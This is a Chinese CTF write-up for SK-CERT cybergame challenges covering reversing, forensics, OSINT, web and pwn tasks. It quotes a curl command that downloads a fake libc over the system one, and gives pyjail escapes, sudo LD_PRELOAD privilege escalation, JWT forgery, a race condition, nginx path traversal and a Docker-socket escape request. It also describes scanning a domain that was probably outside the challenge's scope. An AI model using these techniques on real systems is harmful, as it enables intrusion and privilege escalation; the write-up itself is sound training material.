curl http://files.cybergame.sk/systemupdate-2b174d89-564b-4024-acb6-b195f4c81a3c/lib.so#SK-CERT{b1n_p4yl04d_d035_n07_s33m5_l1k3_c0mm4nd5} > /lib_safe/x86_64-linux-gnu/libc.so.6 

flag2在URL的fragment里。

flag3(未解出)

之前的curl会下载一个假libc文件到本地(本意是为了替换原本libc)。这个libc看起来是2.41版本,并且没有去除符号。

我推测之前进行版本检查是为了告诉我和哪个版本做diff,但是我没有IDA Pro,且手头一直配不好ghidra+bindiff环境,肉眼看工作量太大了,于是作罢。

★★★-rev JAILE3

虚拟机+高级编译型语言主题的逆向,三星难度

flag1 rust

这个题目给了一个ELF文件。稍微取证一下发现有很多非标准调用,并且有很多rust相关的符号,可以推断是rust编译而成的。

entry通过__libc_start_main跳转到10b460,注意它把10a510放进了rsp的位置,最后调用了12ac20,这个12ac20部分是启动一个新的线程。断点调试会发现这个函数最终是会进入10a510的。

    **************************************************************
* equiv to call a510 with rdi=current stack, rsi=64df8, r8=0 *
**************************************************************
LAB_0010b460 XREF[1]: entry:00109c64(*)
0010b460 50 PUSH RAX
0010b461 48 89 f1 MOV RCX,RSI
0010b464 48 63 d7 MOVSXD RDX,EDI
0010b467 48 8d 05 LEA RAX,[FUN_0010a510_monster]
a2 f0 ff ff
0010b46e 48 89 04 24 MOV qword ptr [RSP],RAX=>FUN_0010a510_monster
0010b472 48 8d 35 LEA RSI,[DAT_00164df8]
7f 99 05 00
0010b479 48 89 e7 MOV RDI,RSP
0010b47c 45 31 c0 XOR R8D,R8D
0010b47f ff 15 fb CALL qword ptr [->FUN_0012ac20] undefined FUN_0012ac20()
d3 05 00 = 0012ac20

容易发现10a510包含了绝大部分业务逻辑。值得注意的是,这个函数虽然有很多调用外部函数的行为,但可以说绝大部分业务代码都在这个函数里。

首先我们尝试strace运行了一下,通过系统调用发现这个程序在0.0.0.0:1337监听了,我们可以nc连接,但发现没有回显。

于是我们开始gdb打断点,一点一点看。我们首先运行到10a588时,发现RDX寄存器为

*RDX  0x5555555a872c ◂— 0x5356305174733055 ('U0stQ0VS')

如果对CTF比较敏感应该能意识到这可能是base64。如果看一下这个断点上下文,能够发现上面一行的函数体里包含了一个字符串:"/home/kali/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/mod.rs",更加验证了这一点,而断点步进直接告诉我们这个字符串就是SK-CERT{REDACTED}

接下来能看到反编译代码里出现非常显眼的东西:

pcVar50 = (char *)((long)__dest + uVar38);
*pcVar50 = (0x30U - *pcVar47 ^ 0xa6) - 0x33;
pcVar50[1] = (0x30U - cVar4 ^ 0xa6) - 0x33;
pcVar50[2] = (0x30U - cVar5 ^ 0xa6) - 0x33;
pcVar50[3] = (0x30U - cVar6 ^ 0xa6) - 0x33;
pcVar50[4] = (0x30U - cVar7 ^ 0xa6) - 0x33;
pcVar50[5] = (0x30U - cVar8 ^ 0xa6) - 0x33;
pcVar50[6] = (0x30U - cVar9 ^ 0xa6) - 0x33;
pcVar50[7] = (0x30U - cVar10 ^ 0xa6) - 0x33;
pcVar50[8] = (0x30U - cVar11 ^ 0xa6) - 0x33;
pcVar50[9] = (0x30U - cVar12 ^ 0xa6) - 0x33;
pcVar50[10] = (0x30U - cVar13 ^ 0xa6) - 0x33;
pcVar50[0xb] = (0x30U - cVar14 ^ 0xa6) - 0x33;
pcVar50[0xc] = (0x30U - cVar15 ^ 0xa6) - 0x33;
pcVar50[0xd] = (0x30U - cVar16 ^ 0xa6) - 0x33;
pcVar50[0xe] = (0x30U - cVar17 ^ 0xa6) - 0x33;
pcVar50[0xf] = (0x30U - cVar18 ^ 0xa6) - 0x33;

实际上在汇编代码里这些都是SIMD很短的指令,看起来是对一段数据进行异或加减运算,而运算的对象正是之前base64解出来的flag。

继续往下,就到了出现0.0.0.0:1337的函数10c460了。如果有经验可以猜出这里就是socket binding,当然也可以进入函数体通过对应rust模块名称、系统调用和常量字符串确认。

同样,我们也能找到12e5f0包含accept,12e670包含recv,看起来一次会读进来0x400字节,不像是要读flag。

之后逻辑我没弄的特别清楚,不过会发现似乎10aaeb之后的那个if的分支似乎第一次是不会进入的,只有在TCP连接断开时才会进入。

接下来,比较关键的,10ac60看起来像是虚拟机的分发分支,接下来就是switch-case了。

switch-case部分结束之后,后面很长一段时间摸不着头脑,但是突然发现10b0b5的代码为call r15非常突兀,这种跳转寄存器很可能是self-modified code。我们跟进之后发现这个地方跳转到栈上,但是似乎这段代码是等效Nop,它对之前异或加减后的数据逐字节从rdi读取到rax上,然后只对rax做了一个and 0xff运算后就放回去了。

虽然它什么也没做,但我敏锐的感觉这应该和我们之前的输入有关。经过调试发现,那段switch-case代码可以为这个函数增加新的指令。为了测试逐个分支的功能,我们可以把断点打在分发处(10ac60),c一次之后,查看原本应该是调用函数的地方(GDB里是x/10i 0x555555e5e0),发现确实增加了新的指令,switch-case每个分支对应一种指令(add, sub, xor, not, neg),并且部分指令可以带一个四字节的操作数。

7a: not rax
3d: neg rax
1f: sub rax,0x1f1f1f1f
a2: add rax,0xffffffffa2a2a2a2
c8: xor rax,0xffffffffc8c8c8c8
other: end

最后,我们发现在经过call r15部分之后,程序用bcmp对原始flag和经过处理后的异或加密flag比较,如果相同就会进入一个包含send的分支。因此我们需要构造一套虚拟机代码使得它把那段异或加减部分逆向了,具体来说:

payload = bytes.fromhex(" ".join([
"1f cd 00 00 00",
"c8 a6 00 00 00",
"1f 30 00 00 00",
"3d",
]))

把它发送到远程,即可收到返回的flag。

flag2 go

这个题目给地ELF文件,我们拿到后先strings一下,发现go相关的模块名很多,看来这个ELF是go-1.24编译的。

我这里使用Ghidra 10.6版本加golangAnalyzer插件进行分析(似乎它只支持到1.23,不过看看符号还是能用的)。

main.main函数加载了LLVM构建JIT的逻辑代码,然后监听1337端口,连接后进入goroutine(对应main.func45)借助gemini的帮助,我大致理解了这部分主要构建了两个函数:dispatchverify

  • dispatch是一个由三个分支构成的switch-case结构,这部分所有的静态函数都被反编译器识别出来了,分支跳转部分硬编码了一些数值:a3, cc, ff,跳转后的部分则硬编码了0, 1, 2三个值,因此这个很可能是分发器,结果取决于输入的字节。
  • verify则通过LLVMBuildXor, LLVMBuildImul等手动构建。很明显这部分操作符的操作数立即数是硬编码在汇编代码里的,然而因为非标准的调用约定,反编译器很不幸地没有识别到。这部分其实就是对输入参数做了一个处理,然后验证是否等于某个值。

func45会处理实际的连接,首先它会net.SetReadDeadline(time.Now().Add(200_000_000)设置一个0.2秒的超时,然后net.Read读取数据(注意这个超时机制会极大影响gdb断点调试,一定要把断点下在读取数据之后;nc手玩也比较困难)

读取数据后,它在进行一些检查后会循环调用main._Cfunc_callDispatch函数。这类Cfunc函数是cgo的编译产物,本身都是wrapper,其内部以传入函数指针的方式包含了实际调用的C代码,其中有一部分不是库函数,需要我们进行检查。这个callDispatch本身只是一个unconditional jump,其内容就是前面LLVM 即时构建(JIT)的函数,在运行到这步之前在gdb中已经可以看到dispatch这个符号,汇编如下,和之前猜的一致

0x7ffff7ffa000 <dispatch>:     cmp    dil,0xff
0x7ffff7ffa004 <dispatch+4>: je 0x7ffff7ffa021 <dispatch+33>
0x7ffff7ffa006 <dispatch+6>: movzx eax,dil
0x7ffff7ffa00a <dispatch+10>: cmp eax,0xcc
0x7ffff7ffa00f <dispatch+15>: je 0x7ffff7ffa01b <dispatch+27>
0x7ffff7ffa011 <dispatch+17>: cmp eax,0xa3
0x7ffff7ffa016 <dispatch+22>: jne 0x7ffff7ffa027 <dispatch+39>
0x7ffff7ffa018 <dispatch+24>: xor eax,eax
0x7ffff7ffa01a <dispatch+26>: ret
0x7ffff7ffa01b <dispatch+27>: mov eax,0x1
0x7ffff7ffa020 <dispatch+32>: ret
0x7ffff7ffa021 <dispatch+33>: mov eax,0x2
0x7ffff7ffa026 <dispatch+38>: ret
0x7ffff7ffa027 <dispatch+39>: mov eax,0xffffffff
0x7ffff7ffa02c <dispatch+44>: ret

接下来的调试我们需要看dispatch函数返回后,对这个函数如何处理。后面会进行一个虚表的跳转,通过动态调试看地址可以确认,dispatch的三个分支分别对应func45.1, func45.2, func45.3三个函数。接下来我们分别分析三个函数。

func45.3是最简单的,它首先检查输入指令后面是否还有四个字节,否则进入panicIndex部分(越界检查)。之后它会调用set_magic这个Cfunc,是给两个全局变量赋值。我们在附近还能看到get_magic, got_magic两个类似的函数,分别是获取全局变量值,或者检查全局变量是否被设置过。

func45.1func45.2稍微复杂,前者需要在后面传入一个null-terminated字符串和单字节数,它会打开一个文件,然后把文件操作符复制到指定的数。第二个函数则会从指定的文件操作符读取0x400个字节数据,不确定读到哪里,后面测试会发现这就是验证通过时会返回的内容。

到这一步我们已经知道了三个分支的功能,接下来就会进入最终检查阶段:

  • 首先会检查magic变量是否被设置过,如果没有,则写入一个F后返回。
  • 接下来会经过一些检查后调用LLVMRunFunction函数。我们知道这里还没有处理到verify函数,但到调用这个函数之前,gdb都找不到这个函数的符号,只有在进入LLVMRunFunction里面,调用某个子函数之后才能找到这个函数。
0x7ffff7fa8000 <verify>:     xor    edi,0x5a5a0e94
0x7ffff7fa8006 <verify+6>: imul eax,edi,0x1337
0x7ffff7fa800c <verify+12>: cmp eax,0x786b1a2f
0x7ffff7fa8011 <verify+17>: jne 0x7ffff7fa8019 <verify+25>
0x7ffff7fa8013 <verify+19>: mov eax,0x1
0x7ffff7fa8018 <verify+24>: ret
0x7ffff7fa8019 <verify+25>: xor eax,eax
0x7ffff7fa801b <verify+27>: ret

这个函数的逻辑和之前猜测的差不多,只是我之前没有找到对应的立即数而已。这里的edi就是来自set_magic设置的值,我们可以简单逆向出这个值需要是0x5a94125d

最后如何获取flag?我们知道flag被硬编码在程序中,我们可以打开/proc/self/exe文件,然后循环第二个读取分支足够多次,直到返回内容包含flag的base64编码为止。

payload = b"\xa3" + "/proc/self/exe".encode() + b'\x00\xfe' + b'\xcc\xfe'*0x1000 + b'\xff\x5d\x12\x94\x5a'
# SK-CERT{why_w0uld_y0u_u53_llvm???}
一些golang的调试tips:
  • go 1.17以上改为寄存器传参了,传入参数分别为AX BX CX DI SI R8 R9 R10 R11,多的才会放在栈上
  • go函数的返回值经常不会被ghidra反编译器正确处理,会以extraout_RAX_XX的形式显示;有的时候反编译器处理也会漏参数,所以还是需要看汇编代码,或者动态调试。
  • go传入字符串时,会占两个参数:字符串指针和字符串长度。
  • go调试时ni经常会莫名其妙进入阻塞状态。推测和多线程有关,但不确定。
  • go的许多函数调用是从虚表加载函数指针后call rdx,动态调试通常是停在call rdx处然后在ghidra直接G到对应地址,一般就是库函数。

☆☆☆-forensics First Contact

这个题是签到题,有8个小问。

  1. 直接明文给出
  2. 藏在HTML里,所有以span标签包裹的文字组成了flag(有点puzzle hunt,不是特别喜欢)
  3. 一段字母替换,直接quipquip
  4. base64套娃,用cyberchef解决
  5. ascii解码,用xxd -r -p可以快一点
  6. 这次是二进制ASCII,写一点python解决
  7. 罗马数字ASCII,嗯……可能最快的是问大模型
  8. 这个稍微有点难看出来:^(?:S[K])-(?:C(?:E|E{0})R)(?:T){v(?:3)r[y]_[5]7r(?:4)n6(?:3)_r3(?:6)3x}$,但其实题面直接说了这个是正则表达式,用flag能唯一匹配。

★☆☆-forensics Bastion - So much just from logs

flag1: 日志取证

从日志取证开始。

flag1给了一大包ssh登录日志,先把gz文件gunzip后,发现多数都是失败登录,于是我们尝试用grep找找有没有成功的,最后发现在auth.log.4.gz里有用户ratchet成功登录的记录,并且有些奇怪的行为。

我们看看这个用户做了什么,它首先echo了一长串base64,base64解码后,tee到/usr/local/bin/insider.sh这个文件里,然后在root的crontab配置里,添加了这个shell脚本。

这个shell脚本里包含了一个beacon变量,顺着脚本所示进行hex解码,得到一段明文:i hope they wont find me, and this flag (SK-CERT{n3v3r_f0r637_4b0u7_d47_p3r51573nc3}) keeps on beaconing

之后似乎下载了一个keylogger软件,看来这是一个键盘木马。

flag2: docker层分析

这个题也给了附件(我一开始还没注意到),似乎是被渗透的docker容器的变化diff,我们可以看到被修改的所有文件,我们可以看到被下载的那个keylogger,然后放到ghidra里逆向,flag2同样是以明文出现在这个ELF里。

不过感觉这个keylogger似乎不能真正起到keylogger的功能(

flag3-4: ssh

这个题目给了ssh的地址、用户名、密码。正确连接后,欢迎信息中包含flag3,而flag4在~/.ssh/authorized_keys中,

flag5 git

最后这个题附件给了一个git仓库,flag藏在另一个branch的某个提交中,直接grep -r 'SK' .即可暴力得到。

★★☆-forensics Eugene’s FATigue

这个题目是FAT文件系统取证。

flag1可以直接strings镜像获取,需要rot13转码。flag2未知。

flag3在binwalk扫出的压缩包内,有一个文件名为file的文件,前半部分解压出来为英文明文,包含flag3,后半部分均为乱码,怀疑存在错误,可能藏了东西。

binwalk出的zip包不完整,有一部分被一个PDF文件复写,PDF内似乎没有包含flag。

另外能完整解压的文件是fourth.aes.b64.txt,为base64编码的AES密文,但不知道密钥和IV无法解码。

最后就是被PDF部分复写的fifth文件内容,似乎要完整解码需要考虑zip内的压缩方式,但我没有思路。

★☆☆-forensics The Chronicles of Greg 2

似乎是一个以从大量垃圾数据找到flag为目标的题目。

flag1:压缩包

套娃压缩包里有flag,基本相当于GeekGame 4签到题的promax版。压缩包包括rar,zip,7z,tar等格式,文件都是.flag结尾,绝大多数是垃圾数据。

首先创建一个内存盘sudo mount -t tmpfs -o size=1G,nr_inodes=10k tmpfs ./tmp-mem/,其中nr_inodes这个参数可以大一点,因为这里是大量小文件。

然后进行递归解压,解压后删除原本文件。为了防止经常性把内存盘写满,我需要在解压前先验证所有不是压缩包的文件是否包含flag头和尾,然后删掉这些无用文件。当出现因内存盘inode不足导致的报错时,需要先清一遍flag小文件。我还怕它给我搞路径穿越,稍微防了一下(可能不是特别可靠)。

flag1.py
import os
import subprocess
from itertools import chain

os.chdir(os.path.dirname(os.path.abspath(__file__)))
TARGET_TAR = "00114021.tar"
TARGET_TMP = "./tmp-mem"


def extract_zipped_local(target_dir: str = TARGET_TMP, check_flag=False):
assert os.path.exists(TARGET_TAR), f"Target file {TARGET_TAR} does not exist."

file_list = sorted(os.listdir(target_dir))
flag_first_list = chain(
[f for f in file_list if f.endswith(".flag")],
[f for f in file_list if not f.endswith(".flag")],
)

for file_item in flag_first_list:
file_path = os.path.join(target_dir, file_item)

if file_item.endswith(".tar"):
subpaths = subprocess.check_output(["tar", "tf", file_path])
assert "../" not in subpaths.decode("utf-8"), (
f"Tar file contains '..' in paths, which is not allowed.\n{subpaths.decode('utf-8')}"
)
subprocess.run(["tar", "xf", file_path, "-C", target_dir], check=True)
os.remove(file_path)

elif file_item.endswith(".zip"):
subpaths = subprocess.check_output(["unzip", "-l", file_path])
assert "../" not in subpaths.decode("utf-8"), (
f"Zip file contains '..' in paths, which is not allowed.\n{subpaths.decode('utf-8')}"
)
subprocess.run(["unzip", "-o", file_path, "-d", target_dir], check=True)
os.remove(file_path)

elif file_item.endswith(".rar"):
subpaths = subprocess.check_output(["unrar", "l", file_path])
assert "../" not in subpaths.decode("utf-8"), (
f"Rar file contains '..' in paths, which is not allowed.\n{subpaths.decode('utf-8')}"
)
subprocess.run(["unrar", "x", "-o+", file_path, target_dir], check=True)
os.remove(file_path)

elif file_item.endswith(".7z"):
subpaths = subprocess.check_output(["7za", "l", file_path])
assert "../" not in subpaths.decode("utf-8"), (
f"7z file contains '..' in paths, which is not allowed.\n{subpaths.decode('utf-8')}"
)
subprocess.run(["7za", "x", file_path, f"-o{target_dir}"], check=True)
os.remove(file_path)

elif file_item.endswith(".flag"):
if not check_flag:
print(f"Skipping flag file: {file_item}")
continue

with open(file_path, "r") as f:
test_flag = f.read().strip()
if ("SK-CERT{" in test_flag) and (
"}" in test_flag[test_flag.index("SK-CERT{") :]
):
print(f"Flag found: {test_flag}")
continue
else:
pass
print(f"Invalid flag format: {test_flag}")
os.remove(file_path)
else:
raise ValueError(f"Unsupported file type: {file_item}")


if __name__ == "__main__":
for _ in range(10):
try:
extract_zipped_local(target_dir=TARGET_TMP, check_flag=True)
except subprocess.CalledProcessError as err:
if (err.args[0], err.args[1][0]) in [
(50, "unzip"),
(9, "unrar"),
(2, "tar"),
(2, "7za"),
]:
print(f"Space FULL for {err.cmd}")
continue

raise

# SK-CERT{n33dl3_1n_h4yst4ck}

我也不记得这个是哪个路径的了:ThisIsSK-CERT{n33dl3_1n_h4yst4ck}

flag2 f_conv.m4v 抖动去马赛克

这个题给了一个视频,标题是f_conv.m4v,是一段录屏,内容大概是下载VLC然后播放视频。

经过仔细观察,发现视频中有一段时间在用鼠标抖动一个文件夹,并且用马赛克(看起来是临近方格取平均)遮挡了其中两个文件,但似乎能看出来第一个文件的文件名就是flag。因此这个题目似乎是要我们用这一段抖动的视频来还原马赛克下的内容。

我最终没有研究出来,我大致的方法是对每一帧把马赛克区域坐标通过cv2.matchTemplate截取出来然后直接叠加,但是出来的效果还是糊的。调研之后似乎是要借助一些AI去抖动/马赛克的手段,不过没有时间去研究了。

★☆☆-osint The digital trail

线上追踪_开盒_信息收集,还挺有趣的。

flag1-2 github pages网站追踪

首先题目给了一个门户网站链接https://alexmercer-dev.github.io/datashield-web/,网站本身似乎没找到什么,但注意到域名是github pages,我们可以直接定位到对应repo。flag1是License部分底部的base64编码。

flag2则要分析这个repo的历史提交,题面说【一段时间前这个仓库包含恶意代码】,我们直接看历史commit,有一个用户名为evanmassey1976的PR,包含了奇怪的analytics-enhanced.js文件,似乎有sha256加密等神秘的代码。这个commit的注释里藏了flag2(是在gemini帮助下发现的)

flag3-4 社交网站追踪

第三问开始需要我们开盒这个坏人evanmassey1976,其实直接谷歌搜索只能搜到此人的reddit账户,在网络安全论坛有一些活跃信息,特别是有这个贴子,底部有一个discord邀请链接,但是最重要的是:这个贴子的首!字!母!藏了flag3啊,真是puzzle puzzle又hunt hunt啊,你们有没有这样的藏头啊(考虑到这个题不交flag3就不能交flag4,这个点卡的我体验非常差)

reddit post

第四问则是直接加入那个discord。对于不熟悉discord的同学,需要知道discord是可以弄机器人账号的,在账号旁边会有APP蓝标。在random channel里,就有两个机器人对话,偶尔会包含一个flag信息:

discord password

flag5 域名追踪

同样是那句包含了flag的信息,前面还有半句是【记住这个进入Mark的频道的密码】,注意到Mark也是这个discord服务器的机器人,尝试与其对话,他回答密码错误,那我们把正确的密码发给他,于是我发现我被拉入了一个隐藏频道。

这个隐藏频道唯一的提示是一张图片,文字说明是要跑路到另一个论坛。

hidden forum

然而这个图片真正的信息是discord电脑端打开图片后,右上角菜单里的图片描述(ALT标签),里面包含了一个看着很像域名的东西

discord image alt

当然只要dig, whois一下就会发现这不是个域名,然而我突发奇想rot13了一下(puzzle hunt要素+1),发现竟然得到了一个更像域名的serverus-snape.eu,并且这个域名是可以直接访问的,但是只是一个空的nginx。

接下来我走了弯路,因为我开始用dirb扫描网站下面的目录……发现了一些有趣的现象,例如有.git目录,但只有.git/config里是test,发现了cgi-bin, images, server-info等路径,但最重要的发现是扫出了phpinfo.php和完整的phpmyadmin/项目,mrtg项目,其中phpmyadmin甚至可以注册,但后端没有连接数据库无法登录。我还用nmap扫了一下端口,还发现9001端口,应该是supervisord的端口。

最后终于意识到这个网站可能不是要攻击的基础设施(因为意识到有其他正常的域名也解析到这个IP),最后是在某个DNS在线查询网站上查了一下,发现有一条TEXT解析记录,似乎是一个base64编码的字符串,果然这就是flag5。

注意dig默认参数是不会去查TXT记录的,需要加上参数-t TXT才能看。

╰─>$ dig -t TXT serverus-snape.eu
...
;; ANSWER SECTION:
serverus-snape.eu. 1800 IN TXT "v=spf1 a mx include:_spf.hostcreators.sk -all"
serverus-snape.eu. 1800 IN TXT "U0stQ0VSVHtkbnNfcjNjMHJkXzFuc3AzY3Qwcn0="
...

★★☆-web Equestria

一个比较综合的Web大题。

flag1: nginx.conf

一开始给了一个看起来是静态的博客网站,同时给了一个nginx.conf

可以看到有一个/secretbackend/的路由,指向本地http://secretbackend:3000端口的一个服务,但我们直接访问会提示HTTP验证。

配置文件的BUG在于:

location /images {
alias /app/src/images/;
autoindex on;
}

可以看到location没有以/结尾。然而nginx的默认设置是当路由不以/结尾时会主动加上/(也可能是和alias后面的值有关),因此/images..会被重定向到/images/..,这就导致了一级的路径穿越。另外由于这一级开启了autoindex,这就更糟糕,因为我们可以直接遍历文件得到这个隐藏后端的源码,包含了基本验证的tokenBasic cHIxbmNlc3M6U0stQ0VSVHswZmZfYnlfNF9zMW5nbGVfc2w0c2hfZjgzNmE4YjF9,这个是可以base64解码的,密码就是是flag1。

flag2: race cond

我们首先把/secretbackend/源码大致浏览一遍,这是一个nodejs应用,包括index.js, jwt.js, db.js

我们注意到绝大多数函数依赖authMiddleware的登录中间件,为数不多不依赖这个路由是注册和登录。

其中,注册函数的逻辑比较有趣:

app.post("/api/register", async (req, res) => {
try {
const { username, password, email } = req.body;

const { rows } = await dbAsync.query(
"INSERT INTO users (username, password, email) VALUES ($1, $2, $3) RETURNING id",
[username, password, email]
);

const userId = rows[0].id;
await sendEmailToAdministrator(userId, username);

await dbAsync.query("UPDATE users SET verified = false WHERE id = $1", [
userId,
]);

return res.json({
success: true,
message:
"Welcome to the Dark Stable. The Council will judge your worthiness.",
});
} catch (err) {
if (err.constraint === "users_username_key") {
return res.status(400).json({ error: "Username already exists" });
}
res.status(500).json({ error: "Registration failed", msg: err.message });
}
});

我们可以结合db.js的初始化部分来看,当向表中插入新记录时,默认verify为true,需要等待sendEmailToAdministrator返回后(内部其实是一个一秒的sleep),才会把verify改为false。因此这个部分是典型的条件竞争。在python中可以用threading触发子线程进行注册,然后在主线程登录。flag2在登录成功后的响应{welcome_msg}

flag3: jwt伪造

目前我们可以登录了,可以获取到一个jwt token,我们开始检查和jwt验证有关的代码,看看能否伪造签名进行越权。

function verifyToken(token) {
const parts = token.split(".");
if (parts.length < 3) return null;

const payload = parts[1];
const signature = parts[parts.length - 1];

const expectedSignature = crypto
.createHmac("sha256", JWT_SECRET)
.update(parts[parts.length - 2])
.digest("base64");

if (signature === expectedSignature) {
return JSON.parse(Buffer.from(payload, "base64").toString());
}
return null;
}

这个验证有重大漏洞,它忽略了jwt可能被恶意构造成用点分割成4段及以上的情况。因为它验证签名部分的payload用的是倒数第二个字段,但实际返回的payload是第二个字段。因此只要在原token的第一第三字段里插入一个自己的字段,就可以伪造任意JWT token。很显然,flag3需要改JWT越权成特定用户名

flag4: sqli??(未解出)

这个没解出来。很显然flag4在特定用户的数据库条目里。我们可以注意到所有查询数据库的endpoint中,有一个很显眼的sink:

function filterSQLChars(input) {
return input.replace(/['";\\=()\/\n\r ]/g, "").replaceAll("--", "");
}

app.get("/api/notes", authMiddleware, async (req, res) => {
try {
const q = "SELECT * FROM notes WHERE user_id = '{{user_id}}'".replace(
"{{user_id}}",
filterSQLChars(req.user.id)
);
const { rows } = await dbAsync.query(q);
return res.json(rows);
} catch (err) {
return res.status(500).json({ error: "Query failed", err: err.message });
}
});

而不是正常的($1, $2)这种PostgreSQL推荐的模板字符串,因此大概率这里存在SQL注入漏洞。

但是过滤相当严格,我目前连第一步逃出字符串环境都没想到。

赛后:js的replaceAll有相当多内置变量,比如$`会被替换成正则匹配之前的内容,可以以此构造绕过

★★☆-pwn JAILE

综合性沙箱逃逸题。

首先放一个pyjail cheatsheet在这里。

flag1: pyjail ez

这个题目的Python沙箱仅仅限制了payload不能包含部分字符串,以及不能包含引号,最终命令在exec('print(' + text + ')')执行。

字符串绕过可以使用chr()和加号连接,最终只要获取到(().__class__.__bases__[0].__subclasses__()[155]).__init__.__globals__['system']就可以执行任意命令了。

flag2: sudo + LD_PRELOAD 提权

RCE之后,在容器内信息收集:

  • 似乎是Debain 12,
  • 发现/run/docker/docker.sock,不在标准位置,并且需要root权限才可访问,可能是后面的妙妙工具。
  • 发现sudo -l可以使用netstat
Matching Defaults entries for calc on 36ba9a399b22:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty, env_keep+=LD_PRELOAD

User calc may run the following commands on 36ba9a399b22:
(ALL) NOPASSWD: /bin/netstat

参考sudo + LD_PRELOAD提权,通过自定义动态链接库的_init劫持掉netstat的初始化过程,在这一步提前把SUID设置为0,以此绕过后续对于euid/uid,egid/gid相等的检查。注意执行顺序是sudo LD_PRELOAD=/evil.so netstat

flag3: Docker逃逸 之 点到为止

有root之后,考虑沙箱逃逸。首先可以看/proc/self/status,发现CapEff00000000a80425fb,解出来是:

  chown                  0 (0x00000000000001)  Make arbitrary changes to file UIDs and GIDs
dac_override 1 (0x00000000000002) Bypass file read, write, and execute permission checks.
fowner 3 (0x00000000000008) Bypass file ownership / process owner equality permission checks.
fsetid 4 (0x00000000000010) Don't clear set-user-ID and set-group-ID mode bits when a file is modified
kill 5 (0x00000000000020) Bypass permission checks for sending signals.
setgid 6 (0x00000000000040) Make arbitrary manipulations of process GIDs and supplementary GID list.
setuid 7 (0x00000000000080) Make arbitrary manipulations of process UIDs.
setpcap 8 (0x00000000000100) Manage capability sets (from bounded / inherited set).
net_bind_service 10 (0x00000000000400) Bind a socket to Internet domain privileged ports.
net_raw 13 (0x00000000002000) Use RAW and PACKET sockets.
sys_chroot 18 (0x00000000040000) Use chroot(2) and manage kernel namespaces.
mknod 27 (0x00000008000000) Create special files using mknod(2).
audit_write 29 (0x00000020000000) Write records to kernel auditing log.
setfcap 31 (0x00000080000000) Set arbitrary capabilities on a file.

这就是标准非特权容器的capabilities,因此无法挂载访问宿主机目录和进程。

然而,之前提到这个容器内挂载了/run/docker/docker.sock,我们可以向其发送请求以逃逸(我推测这个UDS无法分辨请求来源并对其鉴权)

curl中,可以用--unix-socket访问UDS(域名部分可以乱写,但一般会写localhost),-i -s参数会附带请求头,并在请求错误时显示返回内容。

我们可以查看Docker API文档,但是访问后我们就会发现这个docker.sock是假的,其实是uvicorn服务的,正常docker.sock不会是这样,因此这外面可能套了一层代理。既然是uvicorn(fastapi),那么我们可以用/openapi.json获取所有endpoint,会发现所有指令必须要有前缀/v1.48,然后可以进行列出容器、镜像、检查容器内状态等操作

这其实也是这个题最坑的点:因为套的代理和真docker.sock行为并不一致,包括但不限于:

  • 强制前缀/v1.48(原本是可选的)
  • openapi.json不包含的API都会返回this endpoint is not necessary for this challenge,但是/v1.48/containers/create会返回something went wrong,但没有被记载在openapi.json中,要靠我们猜。
  • /v1.48/containers/create大概率没有转发请求到真的docker.sock,而是做了一个比较蹩脚的判定:
    • 请求体必须包含Previledged: true
    • 请求体必须包含HostConfig: {Bind: "/:/host"},并且Bind里必须以/:开头(诸如/root:之类的都不行)
  • 如果containers/create不满足上述条件时,会返回{"message": "something went wrong"},而抹去了原本的错误信息。当正确时则会直接提供flag。

我能够理解真的暴露出docker.sock会导致整个比赛基础设施不可控。但是这个前提是你把代理弄得稍微健壮一点,至少不要让我们产生误解…目前的状态有一种很明显的打假靶的感觉,就很不爽。

最后附上正确的请求:

curl -i -s --unix-socket /run/docker/docker.sock -X POST http://localhost/v1.48/containers/create -H "Content-Type: application/json" -d '{"Previledged": true,"HostConfig":{"Bind":"/:/host"}}'

★★☆-pwn JAILE2 (痛苦面具)

这个比赛是web-pwn合在一个分类的,这个题总体来说可能比较misc或者pwn一点。

flag1: pyjail hard

更难的沙箱逃逸,过滤了下划线和unicode下划线,同时__builtins__只剩下少数数学函数,在eval运行。

首先虽然原程序尝试过滤了_和其Unicode变种,但其实这个过滤是不完全的。Python通过NFKC标准把Unicode其他字符转换成标准形式,我们可以import unicodedata; print([(s, chr(s)) for s in range(0x110000) if unicodedata.normalize('NFKC', chr(s)) == '_'])看看到底有多少字符可以被转换成下划线:

import unicodedata
print([(s, chr(s)) for s in range(0x110000) if unicodedata.normalize('NFKC', chr(s)) == '_'])
# [(95, '_'), (65075, '︳'), (65076, '︴'), (65101, '﹍'), (65102, '﹎'), (65103, '﹏'), (65343, '_')]

这里任何一个不在filter里的下划线都可以当作下划线用。当然Python的限制是标识符第一个字符必须得是原始的_,详见PEP 3131关于XID_START, XID_CONTINUE的部分。这就表示类似于(i for i in [1]).gi_code这种属性可以通过替换下划线访问。

既然能访问生成器的栈帧了,调研到一篇博客,详细介绍了如何利用生成器栈帧进行逃逸。这里提供一个省流的理解:

  • 栈帧就是调用函数/生成器时存储全局和局部变量的结构,类似C语言的函数调用栈。
  • 为什么生成器可以引用自己:因为生成器被创建的时候只是加载到内存中没有运行,内部变量构成闭包,当运行时闭包内变量找不到就会从上一级栈帧里找,于是找到了自己。
  • 生成器栈帧有f_back属性可以访问上一级栈帧,但前提是只有在生成器正在被遍历,即gi_running为True时才能访问,否则为None。
    • 两次f_back分别跳出了生成器本身和eval环境。
  • f_globals是拿到当前栈帧的全局变量的。

这里需要进行一些小改动,因为我们是在一个eval环境下,需要用海豹运算符[a:=xxx, b:=yyy]进行变量赋值。

拿到全局变量后,builtins := g['__builtins__']__loader__,因为是字典所以可以用字符串拼接法获取。我尝试通过__loader__.load_module('os')加载模块,但一直报loader for __main__ cannot handle os错误。最终我通过builtins.exec(cmd, globals)的方式直接执行命令,实现RCE。

flag2: tastybun (bunjs sandbox)

这个题目给了一个Bun.js restricted shell,可以对我们传入的字符串进行eval,但是要满足两点限制:

  • 不能包含/[()\/\[\];"'_!]/正则表达式中的字符,包括小括号、中括号、两种引号和其他一些符号

    • 值得注意的是,模板字符串`${}`没有禁用,转义也没有禁用。
  • 对于所有大小写字母,最多只包含两种。

这是个相对严格的沙箱,著名JS esolang JSF*ck的6种符号被过滤了5种,看起来似乎什么都做不了了?并不是:

  • Javascript的标识符可以是Unicode escape sequences,即\uXXXX, \u{XXXX}这些。可惜试了一下8进制\XXX不行(看了一下同一个链接里为什么不行,原因是早期设计会和十进制混淆,真的很难绷)
// Bun.$
